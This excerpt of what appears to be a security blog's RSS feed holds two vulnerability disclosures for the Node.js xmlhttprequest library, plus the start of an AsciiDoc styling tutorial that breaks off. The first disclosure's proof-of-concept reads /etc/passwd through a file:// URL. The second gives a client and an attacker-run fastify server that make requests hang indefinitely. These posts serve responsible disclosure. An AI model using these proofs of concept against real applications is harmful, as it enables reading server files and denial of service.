&lt;p&gt;As shared in a prior public disclosure report for the &lt;code&gt;xmlhttprequest&lt;/code&gt; library, I discovered several security issues with the library and have reached out to the maintainer in hopes to report the security issue and get it fixed. However, they deemed it as not a flaw in security design and did not consider it as a viable vulnerability.&lt;/p&gt;
&lt;p&gt;I’m sharing my findings here to publicly disclose the vulnerability.&lt;/p&gt;
&lt;h2 id=&quot;incorrect-default-permissions-in-xmlhttprequest180-lead-to-local-file-inclusion&quot;&gt;Incorrect Default Permissions in xmlhttprequest@1.8.0 lead to Local File Inclusion&lt;/h2&gt;
&lt;p&gt;Observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It was last published 7 years ago in 2015 with version 1.8.0&lt;/li&gt;
&lt;li&gt;It has 1,814,290 weekly downloads from npm&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Source code and registry resources for the library:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/driverdan/node-XMLHttpRequest&quot;&gt;Project’s GitHub source code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/xmlhttprequest&quot;&gt;Project’s npm package&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;background-on-the-vulnerability&quot;&gt;Background on the vulnerability&lt;/h3&gt;
&lt;p&gt;The library mentions support by default for local file access in its &lt;a href=&quot;https://github.com/driverdan/node-XMLHttpRequest#known-issues--missing-features&quot;&gt;known issues&lt;/a&gt;
README documentation.&lt;/p&gt;
&lt;p&gt;Given a scenario that an attacker controls the URL to be fetched using this HTTP client library, and that no explicit sanitization is performed for the URL and its scheme, it may result in arbitrary file read access, due to insecure default permission. Arbitrary file read access is scoped to the global file system for the web application or server using this library to make HTTP requests.&lt;/p&gt;
&lt;p&gt;Related: local file system access &lt;a href=&quot;https://github.com/driverdan/node-XMLHttpRequest/blob/master/lib/XMLHttpRequest.js#L302-L329&quot;&gt;code handling&lt;/a&gt; on xmlhttprequest library.&lt;/p&gt;
&lt;p&gt;This vulnerability should probably be classified as a
&lt;a href=&quot;https://cwe.mitre.org/data/definitions/276.html&quot;&gt;CWE-276&lt;/a&gt;: Incorrect Default Permissions.&lt;/p&gt;
&lt;h3 id=&quot;proof-of-concept-exploit&quot;&gt;Proof of Concept exploit&lt;/h3&gt;
&lt;p&gt;Install the latest known vulnerable version of xmlhttprequest:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install &lt;code&gt;xmlhttprequest@1.8.0&lt;/code&gt; which is the latest version of this package. We will use it for a client web application.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Create the following &lt;code&gt;client.js&lt;/code&gt; file that makes use of the library to send a &lt;code&gt;GET&lt;/code&gt; HTTP request:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;xmlhttprequest&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;xhr&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;file:///etc/passwd&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// access local server files:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    xhr.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, url)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    xhr.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;onreadystatechange&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.readyState &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.responseText)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;xhr.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this code snippet as a local Node.js script.&lt;/p&gt;
&lt;p&gt;Observe that the the program prints the contents of the &lt;code&gt;/etc/passwd&lt;/code&gt; file from your local file system.&lt;/p&gt;</content:encoded></item><item><title>Disclosing uncontrolled resource consumption in xmlhttprequest library</title><link>https://lirantal.com/blog/disclosing-uncontrolled-resource-consumption-in-xmlhttprequest-library/</link><guid>https://lirantal.com/blog/disclosing-uncontrolled-resource-consumption-in-xmlhttprequest-library/</guid><description>proof-of-concept showing a denial of service vulnerability in a Node.js web server if it uses the xmlhttprequest library to make outgoing HTTP requests</description><pubDate>Sun, 16 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;what-is-the-xmlhttprequest-npm-package&quot;&gt;What is the &lt;code&gt;xmlhttprequest&lt;/code&gt; npm package?&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;xmlhttprequest&lt;/code&gt; npm package is an open-source library for Node.js server-side projects to use a familiar browser-like HTTP client. It is technically a wrapper around the &lt;code&gt;http&lt;/code&gt; and &lt;code&gt;https&lt;/code&gt; modules in Node.js.&lt;/p&gt;
&lt;p&gt;Its purpose is to provide a familiar API to Node.js developers who are used to using the &lt;code&gt;XMLHttpRequest&lt;/code&gt; object in the browser. These days, most developers use the &lt;code&gt;fetch&lt;/code&gt; API in the browser, but &lt;code&gt;xmlhttprequest&lt;/code&gt; is still a popular library for Node.js developers.&lt;/p&gt;
&lt;h2 id=&quot;disclosing-a-vulnerability-in-xmlhttprequest&quot;&gt;Disclosing a vulnerability in &lt;code&gt;xmlhttprequest&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;In August 2022, I discovered several security issues with the library and with the help of my Snyk security analysts colleagues I reached out to the maintainer of the &lt;code&gt;xmlhttprequest&lt;/code&gt; npm package to report a vulnerability in the library. The maintainer was responsive but did not consider this security report as an actual vulnerability to be recognized or fixed.&lt;/p&gt;
&lt;p&gt;I then decided to disclose the vulnerability publicly and share my findings here.&lt;/p&gt;
&lt;h2 id=&quot;uncontrolled-resource-consumption-in-xmlhttprequest180&quot;&gt;Uncontrolled resource consumption in xmlhttprequest@1.8.0&lt;/h2&gt;
&lt;p&gt;Observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It was last published 7 years ago in 2015 with version 1.8.0&lt;/li&gt;
&lt;li&gt;It has 1,814,290 weekly downloads from npm&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;xmlhttprequest&lt;/code&gt; code and registry resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/driverdan/node-XMLHttpRequest&quot;&gt;Project’s GitHub source code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/xmlhttprequest&quot;&gt;Project’s npm package&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;background-on-exploitation&quot;&gt;Background on exploitation&lt;/h3&gt;
&lt;p&gt;The HTTP client library fails to implement any sort of timeout controls for outgoing requests,
and as such it is possible for attackers who control the URL provided to &lt;code&gt;xmlhttprequest&lt;/code&gt; to
set the server to delay requests for a considerable long time (infinity) through which the
HTTP connection will hang and never terminate.&lt;/p&gt;
&lt;p&gt;If attackers are able to force an application to perform several such outgoing requests then
they could saturate I/O resources on the running Node.js runtime.&lt;/p&gt;
&lt;p&gt;This vulnerability is classified as a &lt;a href=&quot;https://cwe.mitre.org/data/definitions/400.html&quot;&gt;CWE-400&lt;/a&gt; uncontrolled resource consumption issue.&lt;/p&gt;
&lt;h3 id=&quot;proof-of-concept-exploit&quot;&gt;Proof of Concept exploit&lt;/h3&gt;
&lt;p&gt;Install these two npm packages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install &lt;code&gt;xmlhttprequest@1.8.0&lt;/code&gt; which is the latest version of this package. We will use it for a client web application.&lt;/li&gt;
&lt;li&gt;Install &lt;code&gt;fastify&lt;/code&gt; to be used as the server that is in control of the attacker.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For the vulnerable &lt;code&gt;xmlhttprequest&lt;/code&gt; library, create a &lt;code&gt;client.js&lt;/code&gt; file as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; XMLHttpRequest &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;xmlhttprequest&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).XMLHttpRequest;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; xhr &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;xhr.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;http://localhost:3001/hello&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;xhr.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For our attacker-controlled web server, create the following &lt;code&gt;server.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;util&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;util&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fastify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;fastify&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)({ logger: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;delay&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; util.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;promisify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(setTimeout)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/hello&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;delay&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;11110000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;then&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;redirect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/two&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;listen&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ port: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3001&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (err) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    fastify.log.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(err)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    process.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run the server and when it’s ready to accept new connections, run the &lt;code&gt;client.js&lt;/code&gt; code
which sends a request.&lt;/p&gt;
&lt;p&gt;Observe that the request never ends (timed at 29 minutes before I killed it on my local
environment).&lt;/p&gt;</content:encoded></item><item><title>How to apply custom admonition styles to AsciiDoc</title><link>https://lirantal.com/blog/how-to-apply-custom-admonition-styles-to-asciidoc/</link><guid>https://lirantal.com/blog/how-to-apply-custom-admonition-styles-to-asciidoc/</guid><description>Customizing AsciiDoc can be challenging at times, especially when it comes to admonitions. In this article, I&apos;ll show you how to apply custom admonition styles to your AsciiDoc book.</description><pubDate>Mon, 10 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;what-are-asciidoc-admonitions&quot;&gt;What are AsciiDoc admonitions?&lt;/h2&gt;
&lt;p&gt;AsciiDoc admonitions are a way to highlight important information in your document. If you’ve ever read a book and seen a note or warning in the margin, you’ve seen an admonition.&lt;/p&gt;
&lt;p&gt;They are a way to draw attention to a particular piece of information in your book or document. They are also a way to add a visual cue to your document to help the reader understand the importance of the information, or provide them with tips, or fun facts.&lt;/p&gt;
&lt;h2 id=&quot;what-are-the-default-admonition-styles&quot;&gt;What are the default admonition styles?&lt;/h2&gt;
&lt;p&gt;AsciiDoc comes with a set of default admonition styles that you can use in your book. These are the default styles that are available and they’re described in the &lt;a href=&quot;https://asciidoctor.org/docs/user-manual/#admonition&quot;&gt;AsciiDoc User Guide&lt;/a&gt; as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NOTE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TIP&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IMPORTANT&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WARNING&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CAUTION&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The default set of admonition styles are great and they can be customized to your liking through the PDF theming capabilities of &lt;code&gt;asciidoctor-pdf&lt;/code&gt;. Here’s how you’d apply a custom admonition style to your theme in an AsciiDoc document:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;admonition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;font-size&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$base-font-size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;font-color&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$theme-colors-admonition-font&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;text-align&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;left&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# all admonitions will have a width of 0 because&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# we want to disable drawing them altogether&lt;/span&gt;&lt;/span&gt;
